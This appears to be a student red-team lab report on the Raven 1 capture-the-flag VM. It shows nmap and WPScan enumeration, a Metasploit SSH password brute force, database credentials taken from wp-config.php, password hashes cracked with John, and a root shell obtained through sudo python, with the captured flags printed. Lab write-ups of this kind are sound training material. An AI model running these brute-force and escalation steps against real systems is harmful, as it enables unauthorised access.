

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap -sV -o 192.168.1.0/24
```

```
root@Kali:~# nmap -sV 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-05 08:00 PDT
Nmap scan report for 192.168.1.1
Host is up (0.00052s latency).
Not shown: 995 filtered ports
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
2179/tcp   open  vmrpd?
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
MAC Address: 00:15:5D:00:04:0D (Microsoft)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.100
Host is up (0.00054s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9200/tcp   open  http         Elasticsearch REST API 7.6.1 (name: elk; cluster: elasticsearch; Lucene 8.4.0)
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.105
Host is up (0.00040s latency).
```

This scan identifies the services below as potential points of entry:

- Target 1
 - List of Exposed Services can be found by running `nmap -sV 192.168.1.110`
 - OpenSSH and Apache httpd 2.4.10 (CVE-2016-4975)

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-30 09:23 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00045s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.11 seconds
```

The following vulnerabilities were identified on each target:

- Target 1
 - List of Critical Vulnerabilities

Vulnerability	Description	Impact
Vulnerable Ports 22 and 80	Access to machine via OpenSSH, Scans and direct access to the Target 1 machine	Integrity and confidentiality because of direct acces to machine and ability to gain more details about users/visitors
Weak/Insecure Passwords	The user Michael has a guessable password (Michael) which could also be cracked via brute force methods. Steven password could be found via SQL	Integrity and Confidentiality due to the ability to breach the machine and gain more information about users/operations
Enumerate Wordpress Site	Users were identifiable via WPScan	Confidentiality is impacted through the disclosure of usernames and other details
Apache 2.4.10 CVE-2016-4975	Apache Server can be vulnerable for CRLF Injection	Integrity impact as it allows the attacker to set fake cookies, steal CSRF tokens, disclose user information by

		injecting a script (XSS) and perform a variety of other attacks. It also allows attackers to deactivate & bypass security measures like XSS filters & Same Origin Policy (SOP) (See more at (CRLF Injection Attack - (https://www.geeksforgeeks.org/crlf-injection-attack/)))
Python Privilege Escalation	The user Steven can circumvent lower privileges by using python scripting allowed for sudo	Integrity and Confidentiality by gaining root access to the machine

Exploitation

TODO: Fill out the details below. Include screenshots where possible.

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - flag1: {b9bbcb33e11b80be759c4e844862482d}
 - **Exploit Used**
 - Enumerated wordpress for users and found username michael

```
root@Kali:~# wpscan --url http://192.168.1.110/wordpress --enumerate u
```

WPSecm®

WordPress Security Scanner by the WPScan Team
Version 3.7.8

@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

```
[i] Updating the Database ...  
[i] Update completed.
```

```
[+] URL: http://192.168.1.110/wordpress/  
[+] Started: Sat Apr 30 09:44:21 2022
```

Interesting Finding(s):

```
[+] http://192.168.1.110/wordpress/
```

```
---- Entering directory: http://192.168.1.110/wordpress/ ----
```

```
+ http://192.168.1.110/wordpress/index.php (CODE:301|SIZE:0)
```

```
⇒ DIRECTORY: http://192.168.1.110/wordpress/wp-admin/
```

```
⇒ DIRECTORY: http://192.168.1.110/wordpress/wp-content/
```

```
⇒ DIRECTORY: http://192.168.1.110/wordpress/wp-includes/
```

```
+ http://192.168.1.110/wordpress/xmlrpc.php (CODE:405|SIZE:42)
```

- Brute forced into port 22 (SSH) by cracking Michael's password with Metasploit vulnerabilities

```
msf5 > use auxiliary/scanner/ssh/ssh_login  
msf5 auxiliary(scanner/ssh/ssh_login) > options  
  
Module options (auxiliary/scanner/ssh/ssh_login):  
  
Name           Current Setting  Required  Description  
----  
BLANK_PASSWORDS false           no        Try blank passwords for all users  
BRUTEFORCE_SPEED 5                yes       How fast to bruteforce, from 0 to 5  
DB_ALL_CREDS     false           no        Try each user/password couple stored in the current database  
DB_ALL_PASS      false           no        Add all passwords in the current database to the list  
DB_ALL_USERS     false           no        Add all users in the current database to the list  
PASSWORD         false           no        A specific password to authenticate with  
PASS_FILE        no              no        File containing passwords, one per line  
RHOSTS           yes             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:filepath'  
RPORT            22              yes       The target port  
STOP_ON_SUCCESS  false           yes       Stop guessing when a credential works for a host  
THREADS          1                yes       The number of concurrent threads (max one per host)  
USERNAME         no              no        A specific username to authenticate as  
USERPASS_FILE    no              no        File containing users and passwords separated by space, one pair per line  
USER_AS_PASS     false           no        Try the username as the password for all users  
USER_FILE        no              no        File containing usernames, one per line  
VERBOSE          false           yes       Whether to print output for all attempts  
  
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.110  
RHOSTS => 192.168.1.110  
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt  
PASS_FILE => /usr/share/wordlists/rockyou.txt  
msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true  
verbose => true  
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true  
STOP_ON_SUCCESS => true  
msf5 auxiliary(scanner/ssh/ssh_login) > set username MICHAEL  
username => MICHAEL  
  
msf5 auxiliary(scanner/ssh/ssh_login) > run  
  
[*] 192.168.1.110:22 - Failed: 'michael:123456'  
[!] No active DB -- Credential data will not be saved!  
[*] 192.168.1.110:22 - Failed: 'michael:12345'  
[*] 192.168.1.110:22 - Failed: 'michael:123456789'  
[*] 192.168.1.110:22 - Failed: 'michael:password'  
[*] 192.168.1.110:22 - Failed: 'michael:loveyou'  
[*] 192.168.1.110:22 - Failed: 'michael:princess'  
[*] 192.168.1.110:22 - Failed: 'michael:1234567'  
[*] 192.168.1.110:22 - Failed: 'michael:rockyou'  
[*] 192.168.1.110:22 - Failed: 'michael:12345678'  
[*] 192.168.1.110:22 - Failed: 'michael:abc123'  
[*] 192.168.1.110:22 - Failed: 'michael:nicole'  
[*] 192.168.1.110:22 - Failed: 'michael:daniel'  
[*] 192.168.1.110:22 - Failed: 'michael:babygirl'  
[*] 192.168.1.110:22 - Failed: 'michael:monkey'  
[*] 192.168.1.110:22 - Failed: 'michael:lovely'  
[*] 192.168.1.110:22 - Failed: 'michael:jessica'  
[*] 192.168.1.110:22 - Failed: 'michael:654321'  
[*] 192.168.1.110:22 - Success: 'michael:michael' ..  
[*] Command shell session 1 opened (192.168.1.90:33335 -> 192.168.1.110:22) at 2022-05-03 16:27:54 -0700
```


- Then searched the directory after access
 - `cat /var/www/html/service.html`
- `flag2.txt: {fc3fd58dcdad9ab23faca6e9a36e581c}`
 - **Exploit Used**
 - Brute forced into port 22 (SSH) via the method above and searched for
 - `cat /var/www/flag2.txt`

- Flags 3 and 4 were actually found together on the wordpress SQL wp_posts, but we also used escalated privileges for Steven via a Python circumvention.

- To Find flag3 we had to go into the /var/www/html/wordpress/wp-config.php file and you will find the MySQL user and password, from there you are going to use the command

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

-
- mysql -u root -p wordpress
- then after that you will put in the password of R@v3nSecurity
- navigate through these tables. (**SHOW TABLES and SELECT * FROM table_name**)
 - you will find the hash for Steven and Michael and flags 3&4

```
mysql> SHOW TABLES;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta       |
| wp_comments          |
| wp_links             |
| wp_options           |
| wp_postmeta          |
| wp_posts             |
| wp_term_relationships|
| wp_term_taxonomy     |
| wp_termmeta          |
| wp_terms             |
| wp_usermeta          |
| wp_users             |
+-----+
12 rows in set (0.01 sec)
```

```
mysql> select * from wp_posts
```

```

page and create new pages for your content. have fun! | Sample Page | publish | closed | open
| sample-page | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | 0 | page |
| 4 | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccb93122770cd2}

draft | open | open | 0 | http://raven.local/wordpress/?p=4 | flag3 | 2018-08-13 01:48:31 | 2018-0
01:48:31 | 0 | http://raven.local/wordpress/?p=4 |
post | 5 | 1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715dea6c055b9fe3337544932f2941ce}
```

○

```

root@Kali:~# john wp_hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 96 needed for performance.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:06:31 3/3 0g/s 9129p/s 18255c/s 18255C/s cm1105..cm1510
0g 0:00:06:36 3/3 0g/s 9130p/s 18256c/s 18256C/s lclmur..lcrell
pink84 (steven)

```

- To find flag 4 you will crack the hashes by putting them into a txt document with the following format:

name:hash

name:hash

- use John to crack the hashes
 - password for **steven** is **pink84**.
 - SSH into his acct and run the command **sudo -l** and you will then see he has sudo permissions for python.
 - root access can be gained via **sudo python -c 'import pty;pty.spawn("/bin/bash")'**
 - **cd cat flag4.txt**

```

mysql> select * from wp_users;
+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_activation_key | user_status | display_name | user_nicename | user_email | user_url | user_registered | use |
+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | michael | $P$bRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |  | 0 | michael | michael | michael@raven.org |  | 2018-08-12 22:49:12 |  |
| 2 | steven | $P$bK3VD9jsxx/loJqNsURghiaB23j7W/ |  | 0 | Steven Seagull | steven | steven@raven.org |  | 2018-08-12 23:31:16 |  |
+-----+-----+-----+-----+-----+-----+-----+-----+
2 rows in set (0.00 sec)

```

```

root@Kali:~# john wp_hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 96 needed for performance.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:06:31 3/3 0g/s 9129p/s 18255c/s 18255C/s cm1105..cm1510
0g 0:00:06:36 3/3 0g/s 9130p/s 18256c/s 18256C/s lclmur..lcrell
pink84 (steven)

```

```

$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python

```

```
root@target1:~# cat flag4.txt
```

```
-----
```

```
| _ _ \  
| | / / _ _ _ _ _ _ _ _  
| // _ ` \ \ / / _ \ ' _ \  
| | \ \ \ _ | \ \ / _ / | | |  
 \ | \ \ _ , _ | \ / \ _ _ | _ |
```

```
flag4{715dea6c055b9fe3337544932f2941ce}
```

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io